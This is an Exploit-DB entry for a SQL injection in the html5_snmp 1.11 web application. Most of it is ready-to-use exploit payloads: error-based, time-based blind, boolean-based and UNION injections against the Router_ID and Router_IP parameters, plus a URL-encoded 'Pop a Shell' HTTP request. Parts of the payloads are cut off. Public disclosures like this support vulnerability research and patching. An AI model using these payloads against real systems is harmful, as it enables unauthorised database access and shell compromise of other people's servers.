html5_snmp 1.11 - 'Router_ID' SQL Injection

EDB-ID:
47588

CVE:
N/A

EDB Verified: ×

Author:
CAKES

Type:
WEBAPPS

Exploit: / {}

Platform:
PHP

Date:
2019-11-05

Vulnerable App:

```
# Exploit Title: html5_snmp 1.11 - 'Router_ID' SQL Injection
# Date: 2019-11-01
# Exploit Author: Cakes
# Vendor Homepage: https://github.com/lolypop55/html5_snmp
# Software Link: https://github.com/lolypop55/html5_snmp.git
# Version: 1.11
# Tested on: CentOS 7
# CVE: N/A

# PoC for error, time, boolean and Union based SQL Injection

# Parameter: Router_ID (POST)
# Type: error-based
# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY
clause (FLOOR)
# Vector: AND (SELECT [RANDNUM] FROM(SELECT
COUNT(*),CONCAT('[DELIMITER_START]',
([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

Payload: Router_ID=123' AND (SELECT 9724 FROM(SELECT
COUNT(*),CONCAT(0x716a7a7071,(SELECT
(ELT(9724=9724,1))),0x71717a6b71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND
'aJYp'='aJYp&Router_Name=123&Router_IP=123&String=123&Remark=123&Submit=Save

# Type: time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
# Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-
(IF([INFERENCE],0,[SLEEPTIME]))))))[RANDSTR])

Payload: Router_ID=123' AND (SELECT 7074 FROM (SELECT(SLEEP(5)))hDkA) AND
'koRt'='koRt&Router_Name=123&Router_IP=123&String=123&Remark=123&Submit=Save

# Parameter: Router_IP (GET)
# Type: boolean-based blind
# Title: AND boolean-based blind - WHERE or HAVING clause
# Vector: AND [INFERENCE]

Payload: Router_IP=192.168.0.1' AND 3390=3390-- yUHk

# Type: time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
# Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-
(IF([INFERENCE],0,[SLEEPTIME]))))))[RANDSTR])

Payload: Router_IP=192.168.0.1' AND (SELECT 2831 FROM
(SELECT(SLEEP(5)))SwFp)-- VukE

# Type: UNION query
# Title: Generic UNION query (NULL) - 5 columns
# Vector:  UNION ALL SELECT NULL,NULL,NULL,
[QUERY],NULL[GENERIC_SQL_COMMENT]

Payload: Router_IP=192.168.0.1' UNION ALL SELECT
NULL,NULL,NULL,CONCAT(0x717a787071,0x4f4f4e6c58704e78566b76576358564c4e514557
- BEdT

# Pop a Shell :-)

GET /get_router_show.php?
Router_IP=%27%20%55%4e%49%4f%4e%20%41%4c%4c%20%53%45%4c%45%43%54%20%30%78%33%
HTTP/1.1
Host: Target
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
```

```
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://Target/get_router.php
Cookie: PHPSESSID=ii1kfjgplci8vbfep3ius67353
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1
Cache-Control: max-age=0
```

Tags: SQL Injection (SQLi)

Advisory/Source: Link